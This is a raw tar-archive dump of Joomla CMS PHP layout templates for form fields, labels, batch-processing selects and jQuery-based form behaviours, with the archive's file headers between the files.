defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var Form $tmpl The Empty form for template
* @var array $forms Array of JForm instances for render the
rows
* @var bool $multiple The multiple state for the form field
* @var int $min Count of minimum repeating in multiple
mode
* @var int $max Count of maximum repeating in multiple
mode
* @var string $name Name of the input field.
* @var string $fieldname The field name
* @var string $fieldId The field ID
* @var string $control The forms control
* @var string $label The field label
* @var string $description The field description
* @var string $class Classes for the container
* @var array $buttons Array of the buttons that will be
rendered
* @var bool $groupByFieldset Whether group the subform fields by
it`s fieldset
*/
if ($multiple) {
// Add script
Factory::getApplication()
->getDocument()
->getWebAssetManager()
->useScript('webcomponent.field-subform');
}
$class = $class ? ' ' . $class : '';
$sublayout = empty($groupByFieldset) ? 'section' :
'section-byfieldsets';
?>
<div class="subform-repeatable-wrapper subform-layout">
<joomla-field-subform class="subform-repeatable<?php echo
$class; ?>" name="<?php echo $name; ?>"
button-add=".group-add"
button-remove=".group-remove" button-move="<?php echo
empty($buttons['move']) ? '' : '.group-move'
?>"
repeatable-element=".subform-repeatable-group"
minimum="<?php echo $min; ?>" maximum="<?php echo
$max; ?>">
<?php if (!empty($buttons['add'])) : ?>
<div class="btn-toolbar">
<div class="btn-group">
<button type="button" class="group-add
btn btn-sm button btn-success" aria-label="<?php echo
Text::_('JGLOBAL_FIELD_ADD'); ?>">
<span class="icon-plus icon-white"
aria-hidden="true"></span>
</button>
</div>
</div>
<?php endif; ?>
<?php
foreach ($forms as $k => $form) :
echo $this->sublayout($sublayout, ['form' => $form,
'basegroup' => $fieldname, 'group' => $fieldname
. $k, 'buttons' => $buttons]);
endforeach;
?>
<?php if ($multiple) : ?>
<template class="subform-repeatable-template-section
hidden"><?php
echo trim($this->sublayout($sublayout, ['form' =>
$tmpl, 'basegroup' => $fieldname, 'group' =>
$fieldname . 'X', 'buttons' => $buttons]));
?></template>
<?php endif; ?>
</joomla-field-subform>
</div>
joomla/form/field/tel.php000064400000006617151161525070011365
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var integer $maxLength The maximum length that the field shall
accept.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
*/
$attributes = [
!empty($size) ? 'size="' . $size . '"' :
'',
!empty($description) ? 'aria-describedby="' . ($id ?:
$name) . '-desc"' : '',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
strlen($hint) ? 'placeholder="' .
htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"'
: '',
!empty($autocomplete) ? 'autocomplete="' . $autocomplete
. '"' : '',
$autofocus ? 'autofocus' : '',
$spellcheck ? '' : 'spellcheck="false"',
$onchange ? 'onchange="' . $onchange .
'"' : '',
!empty($maxLength) ? $maxLength : '',
$required ? 'required' : '',
!empty($pattern) ? 'pattern="' . $pattern .
'"' : '',
$dataAttribute,
];
?>
<input
type="tel"
inputmode="tel"
name="<?php echo $name; ?>"
<?php echo !empty($class) ? ' class="form-control ' .
$class . '"' : 'class="form-control"';
?>
id="<?php echo $id; ?>"
value="<?php echo htmlspecialchars($value, ENT_COMPAT,
'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?>>
joomla/form/field/text.php000064400000012646151161525070011564
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
* @var string $dirname The directory name
* @var string $addonBefore The text to use in a bootstrap input
group prepend
* @var string $addonAfter The text to use in a bootstrap input
group append
* @var boolean $charcounter Does this field support a character
counter?
*/
$list = '';
if ($options) {
$list = 'list="' . $id . '_datalist"';
}
$charcounterclass = '';
if ($charcounter) {
// Load the js file
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa =
Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('short-and-sweet');
// Set the css class to be used as the trigger
$charcounterclass = ' charcount';
// Set the text
$counterlabel = 'data-counter-label="' .
$this->escape(Text::_('JFIELD_META_DESCRIPTION_COUNTER')) .
'"';
}
$attributes = [
!empty($class) ? 'class="form-control ' . $class .
$charcounterclass . '"' :
'class="form-control' . $charcounterclass .
'"',
!empty($size) ? 'size="' . $size . '"' :
'',
!empty($description) ? 'aria-describedby="' . ($id ?:
$name) . '-desc"' : '',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
$dataAttribute,
$list,
strlen($hint) ? 'placeholder="' .
htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"'
: '',
$onchange ? ' onchange="' . $onchange .
'"' : '',
!empty($maxLength) ? $maxLength : '',
$required ? 'required' : '',
!empty($autocomplete) ? 'autocomplete="' . $autocomplete
. '"' : '',
$autofocus ? ' autofocus' : '',
$spellcheck ? '' : 'spellcheck="false"',
!empty($inputmode) ? $inputmode : '',
!empty($counterlabel) ? $counterlabel : '',
!empty($pattern) ? 'pattern="' . $pattern .
'"' : '',
// @TODO add a proper string here!!!
!empty($validationtext) ? 'data-validation-text="' .
$validationtext . '"' : '',
];
$addonBeforeHtml = '<span
class="input-group-text">' . Text::_($addonBefore) .
'</span>';
$addonAfterHtml = '<span
class="input-group-text">' . Text::_($addonAfter) .
'</span>';
?>
<?php if (!empty($addonBefore) || !empty($addonAfter)) : ?>
<div class="input-group">
<?php endif; ?>
<?php if (!empty($addonBefore)) : ?>
<?php echo $addonBeforeHtml; ?>
<?php endif; ?>
<input
type="text"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
value="<?php echo htmlspecialchars($value, ENT_COMPAT,
'UTF-8'); ?>"
<?php echo $dirname; ?>
<?php echo implode(' ', $attributes); ?>>
<?php if (!empty($addonAfter)) : ?>
<?php echo $addonAfterHtml; ?>
<?php endif; ?>
<?php if (!empty($addonBefore) || !empty($addonAfter)) : ?>
</div>
<?php endif; ?>
<?php if ($options) : ?>
<datalist id="<?php echo $id; ?>_datalist">
<?php foreach ($options as $option) : ?>
<?php if (!$option->value) : ?>
<?php continue; ?>
<?php endif; ?>
<option value="<?php echo $option->value;
?>"><?php echo $option->text; ?></option>
<?php endforeach; ?>
</datalist>
<?php endif; ?>
joomla/form/field/textarea.php000064400000007606151161525070012415
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var boolean $charcounter Does this field support a character
counter?
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
*/
// Initialize some field attributes.
if ($charcounter) {
// Load the js file
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa =
Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('short-and-sweet');
// Set the css class to be used as the trigger
$charcounter = ' charcount';
// Set the text
$counterlabel = 'data-counter-label="' .
$this->escape(Text::_('JFIELD_META_DESCRIPTION_COUNTER')) .
'"';
}
$attributes = [
$columns ?: '',
$rows ?: '',
!empty($class) ? 'class="form-control ' . $class .
$charcounter . '"' : 'class="form-control' .
$charcounter . '"',
!empty($description) ? 'aria-describedby="' . ($id ?:
$name) . '-desc"' : '',
strlen($hint) ? 'placeholder="' .
htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"'
: '',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
$onchange ? 'onchange="' . $onchange .
'"' : '',
$onclick ? 'onclick="' . $onclick . '"' :
'',
$required ? 'required' : '',
!empty($autocomplete) ? 'autocomplete="' . $autocomplete
. '"' : '',
$autofocus ? 'autofocus' : '',
$spellcheck ? '' : 'spellcheck="false"',
$maxlength ?: '',
!empty($counterlabel) ? $counterlabel : '',
$dataAttribute,
];
?>
<textarea name="<?php
echo $name; ?>" id="<?php
echo $id; ?>" <?php
echo implode(' ', $attributes); ?> ><?php echo
htmlspecialchars($value, ENT_COMPAT, 'UTF-8');
?></textarea>
joomla/form/field/url.php000064400000006773151161525070011406
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2016 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\String\PunycodeHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
*/
$attributes = [
!empty($size) ? ' size="' . $size . '"' :
'',
!empty($description) ? ' aria-describedby="' . ($id ?:
$name) . '-desc"' : '',
$disabled ? ' disabled' : '',
$readonly ? ' readonly' : '',
strlen($hint) ? ' placeholder="' .
htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"'
: '',
!empty($autocomplete) ? 'autocomplete="' . $autocomplete
. '"' : '',
$autofocus ? ' autofocus' : '',
$spellcheck ? '' : ' spellcheck="false"',
$onchange ? ' onchange="' . $onchange .
'"' : '',
!empty($maxLength) ? $maxLength : '',
$required ? ' required' : '',
$dataAttribute,
];
/**
* @deprecated 4.3 will be removed in 6.0
* The unicode conversion of the URL will be moved to
\Joomla\CMS\Form\Field\UrlField::getLayoutData
*/
if ($value !== null) {
$value = $this->escape(PunycodeHelper::urlToUTF8($value));
}
?>
<input <?php echo $inputType; ?> inputmode="url"
name="<?php echo $name; ?>" <?php echo !empty($class) ?
' class="form-control ' . $class . '"' :
'class="form-control"'; ?> id="<?php echo
$id; ?>" value="<?php echo $value; ?>" <?php
echo implode(' ', $attributes); ?>>
joomla/form/field/user.php000064400000011245151161525070011550
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\Utilities\ArrayHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var string $userName The user name
* @var mixed $groups The filtering groups (null means no
filtering)
* @var mixed $excluded The users to exclude from the list of
users
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg,
data-*.
*/
$uri = new
Uri('index.php?option=com_users&view=users&layout=modal&tmpl=component&required=0');
$uri->setVar('field', $this->escape($id));
if ($required) {
$uri->setVar('required', 1);
}
if (!empty($groups)) {
$uri->setVar('groups',
base64_encode(json_encode($groups)));
}
if (!empty($excluded)) {
$uri->setVar('excluded',
base64_encode(json_encode($excluded)));
}
// Invalidate the input value if no user selected
if ($this->escape($userName) ===
Text::_('JLIB_FORM_SELECT_USER')) {
$userName = '';
}
$inputAttributes = [
'type' => 'text',
'id' => $id,
'class' => 'form-control field-user-input-name',
'value' => $this->escape($userName),
];
if ($class) {
$inputAttributes['class'] .= ' ' . $class;
}
if ($size) {
$inputAttributes['size'] = (int) $size;
}
if ($required) {
$inputAttributes['required'] = 'required';
}
if (!$readonly) {
$inputAttributes['placeholder'] =
Text::_('JLIB_FORM_SELECT_USER');
}
if (!$readonly) {
Factory::getApplication()->getDocument()->getWebAssetManager()
->useScript('webcomponent.field-user');
}
?>
<?php // Create a dummy text field with the user name. ?>
<joomla-field-user class="field-user-wrapper"
url="<?php echo (string) $uri; ?>"
modal-title="<?php echo
$this->escape(Text::_('JLIB_FORM_CHANGE_USER')); ?>"
input=".field-user-input"
input-name=".field-user-input-name"
button-select=".button-select">
<div class="input-group">
<input <?php echo ArrayHelper::toString($inputAttributes),
$dataAttribute; ?> readonly>
<?php if (!$readonly) : ?>
<button type="button" class="btn btn-primary
button-select" title="<?php echo
Text::_('JLIB_FORM_CHANGE_USER'); ?>">
<span class="icon-user icon-white"
aria-hidden="true"></span>
<span class="visually-hidden"><?php echo
Text::_('JLIB_FORM_CHANGE_USER'); ?></span>
</button>
<?php endif; ?>
</div>
<?php // Create the real field, hidden, that stored the user id.
?>
<?php if (!$readonly) : ?>
<input type="hidden" id="<?php echo $id;
?>_id" name="<?php echo $name; ?>"
value="<?php echo $this->escape($value); ?>"
class="field-user-input <?php echo $class ? (string)
$class : ''?>"
data-onchange="<?php echo $this->escape($onchange);
?>">
<?php endif; ?>
</joomla-field-user>
joomla/form/renderfield.php000064400000004234151161525070011772
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
extract($displayData);
/**
* Layout variables
* -----------------
* @var array $options Optional parameters
* @var string $id The id of the input this label is for
* @var string $name The name of the input this label is for
* @var string $label The html code for the label
* @var string $input The input field html code
* @var string $description An optional description to use as in–line
help text
* @var string $descClass The class name to use for the description
*/
if (!empty($options['showonEnabled'])) {
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa =
Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('showon');
}
$class = empty($options['class']) ? '' :
' ' . $options['class'];
$rel = empty($options['rel']) ? '' : '
' . $options['rel'];
$id = ($id ?? $name) . '-desc';
$hideLabel = !empty($options['hiddenLabel']);
$hideDescription = empty($options['hiddenDescription']) ? false :
$options['hiddenDescription'];
$descClass = ($options['descClass'] ?? '') ?:
(!empty($options['inlineHelp']) ? 'hide-aware-inline-help
d-none' : '');
if (!empty($parentclass)) {
$class .= ' ' . $parentclass;
}
?>
<div class="control-group<?php echo $class; ?>"<?php
echo $rel; ?>>
<?php if ($hideLabel) : ?>
<div class="visually-hidden"><?php echo $label;
?></div>
<?php else : ?>
<div class="control-label"><?php echo $label;
?></div>
<?php endif; ?>
<div class="controls">
<?php echo $input; ?>
<?php if (!$hideDescription && !empty($description)) :
?>
<div id="<?php echo $id; ?>"
class="<?php echo $descClass ?>">
<small class="form-text">
<?php echo $description; ?>
</small>
</div>
<?php endif; ?>
</div>
</div>
joomla/form/renderlabel.php000064400000001675151161525070011774
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2014 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $text The label text
* @var string $for The id of the input this label is for
* @var boolean $required True if a required field
* @var array $classes A list of classes
*/
$classes = array_filter((array) $classes);
$id = $for . '-lbl';
if ($required) {
$classes[] = 'required';
}
?>
<label id="<?php echo $id; ?>" for="<?php echo
$for; ?>"<?php if (!empty($classes)) {
echo ' class="' . implode(' ', $classes) .
'"';
} ?>>
<?php echo $text; ?><?php if ($required) :
?><span class="star"
aria-hidden="true"> *</span><?php
endif; ?>
</label>
joomla/html/batch/access.php000064400000001272151161525070012031
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
?>
<label id="batch-access-lbl" for="batch-access">
<?php echo Text::_('JLIB_HTML_BATCH_ACCESS_LABEL'); ?>
</label>
<?php echo HTMLHelper::_(
'access.assetgrouplist',
'batch[assetgroup_id]',
'',
'class="form-select"',
[
'title' =>
Text::_('JLIB_HTML_BATCH_NOCHANGE'),
'id' => 'batch-access'
]
);
joomla/html/batch/adminlanguage.php000064400000001347151161525070013367
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
?>
<label id="batch-language-lbl"
for="batch-language-id">
<?php echo Text::_('JLIB_HTML_BATCH_LANGUAGE_LABEL');
?>
</label>
<select name="batch[language_id]"
class="form-select" id="batch-language-id">
<option value=""><?php echo
Text::_('JLIB_HTML_BATCH_LANGUAGE_NOCHANGE');
?></option>
<?php echo HTMLHelper::_('select.options',
HTMLHelper::_('adminlanguage.existing', true, true),
'value', 'text'); ?>
</select>
joomla/html/batch/item.php000064400000003465151161525070011534
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $extension The extension name
*/
// Create the copy/move options.
$options = [
HTMLHelper::_('select.option', 'c',
Text::_('JLIB_HTML_BATCH_COPY')),
HTMLHelper::_('select.option', 'm',
Text::_('JLIB_HTML_BATCH_MOVE'))
];
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('joomla.batch-copymove');
?>
<label id="batch-choose-action-lbl"
for="batch-category-id">
<?php echo Text::_('JLIB_HTML_BATCH_MENU_LABEL'); ?>
</label>
<div id="batch-choose-action"
class="control-group">
<select name="batch[category_id]"
class="form-select" id="batch-category-id">
<option value=""><?php echo
Text::_('JLIB_HTML_BATCH_NO_CATEGORY'); ?></option>
<?php if (isset($addRoot) && $addRoot) : ?>
<?php echo HTMLHelper::_('select.options',
HTMLHelper::_('category.categories', $extension)); ?>
<?php else : ?>
<?php echo HTMLHelper::_('select.options',
HTMLHelper::_('category.options', $extension)); ?>
<?php endif; ?>
</select>
</div>
<div id="batch-copy-move" class="control-group
radio">
<fieldset id="batch-copy-move-id">
<legend>
<?php echo
Text::_('JLIB_HTML_BATCH_MOVE_QUESTION'); ?>
</legend>
<?php echo HTMLHelper::_('select.radiolist', $options,
'batch[move_copy]', '', 'value',
'text', 'm'); ?>
</fieldset>
</div>
joomla/html/batch/language.php000064400000001351151161525070012351
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
?>
<label id="batch-language-lbl"
for="batch-language-id">
<?php echo Text::_('JLIB_HTML_BATCH_LANGUAGE_LABEL');
?>
</label>
<select name="batch[language_id]"
class="form-select" id="batch-language-id">
<option value=""><?php echo
Text::_('JLIB_HTML_BATCH_LANGUAGE_NOCHANGE');
?></option>
<?php echo HTMLHelper::_('select.options',
HTMLHelper::_('contentlanguage.existing', true, true),
'value', 'text'); ?>
</select>
joomla/html/batch/tag.php000064400000001311151161525070011335
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
?>
<label id="batch-tag-lbl" for="batch-tag-id">
<?php echo Text::_('JLIB_HTML_BATCH_TAG_LABEL'); ?>
</label>
<select name="batch[tag]" class="form-select"
id="batch-tag-id">
<option value=""><?php echo
Text::_('JLIB_HTML_BATCH_TAG_NOCHANGE'); ?></option>
<?php echo HTMLHelper::_('select.options',
HTMLHelper::_('tag.tags', ['filter.published' =>
[1]]), 'value', 'text'); ?>
</select>
joomla/html/batch/user.php000064400000001732151161525070011547
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
extract($displayData);
/**
* Layout variables
* -----------------
* @var boolean $noUser Inject an option for no user?
*/
$optionNo = '';
if ($noUser) {
$optionNo = '<option value="0">' .
Text::_('JLIB_HTML_BATCH_USER_NOUSER') .
'</option>';
}
?>
<label id="batch-user-lbl" for="batch-user-id">
<?php echo Text::_('JLIB_HTML_BATCH_USER_LABEL'); ?>
</label>
<select name="batch[user_id]" class="form-select"
id="batch-user-id">
<option value=""><?php echo
Text::_('JLIB_HTML_BATCH_USER_NOCHANGE'); ?></option>
<?php echo $optionNo; ?>
<?php echo HTMLHelper::_('select.options',
HTMLHelper::_('user.userlist'), 'value',
'text'); ?>
</select>
joomla/html/formbehavior/ajaxchosen.php000064400000003111151161525070014307
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var string $selector The id of the field
* @var array $options The options array
* @var boolean $debug Are we in debug mode?
* @var string $type Get or Post
* @var string $url The URL
* @var string $dataType Data type returned
* @var string $jsonTermKey Extra JSON terminator key
* @var integer $afterTypeDelay Delay for the execution
* @var integer $minTermLength The minimum characters required
*/
extract($displayData);
JText::script('JGLOBAL_KEEP_TYPING');
JText::script('JGLOBAL_LOOKING_FOR');
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'jui/ajax-chosen.min.js',
array('version' => 'auto', 'relative'
=> true, 'detectDebug' => $debug));
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function ($) {
$('" . $selector . "').ajaxChosen({
type: '" . $type . "',
url: '" . $url . "',
dataType: '" . $dataType . "',
jsonTermKey: '" . $jsonTermKey . "',
afterTypeDelay: '" . $afterTypeDelay . "',
minTermLength: '" . $minTermLength . "'
}, function (data) {
var results = [];
$.each(data, function (i, val) {
results.push({ value: val.value, text: val.text });
});
return results;
});
});
"
);joomla/html/formbehavior/chosen.php000064400000002304151161525070013446
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var string $selector The id of the field
* @var array $options The options array
* @var boolean $debug Are we in debug mode?
*/
extract($displayData);
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'jui/chosen.jquery.min.js',
array('version' => 'auto', 'relative'
=> true, 'detectDebug' => $debug));
JHtml::_('stylesheet', 'jui/chosen.css',
array('version' => 'auto', 'relative'
=> true));
// Options array to json options string
$options_str = json_encode($options, ($debug &&
defined('JSON_PRETTY_PRINT') ? JSON_PRETTY_PRINT : false));
JFactory::getDocument()->addScriptDeclaration(
'
jQuery(function ($) {
initChosen();
$("body").on("subform-row-add", initChosen);
function initChosen(event, container)
{
container = container || document;
$(container).find(' . json_encode($selector) .
').chosen(' . $options_str . ');
}
});
'
);
joomla/html/sortablelist.php000064400000003622151161525070012217
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2015 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var string $tableId The id of the table
* @var string $formId The id of the form
* @var string $saveOrderingUrl Save the ordering URL?
* @var string $sortDir The direction of the order
(asc/desc)
* @var string $nestedList Is it nested list?
* @var string $proceedSaveOrderButton Is there a button to initiate
the ordering?
*/
extract($displayData);
// Depends on jQuery UI
JHtml::_('jquery.ui', array('core',
'sortable'));
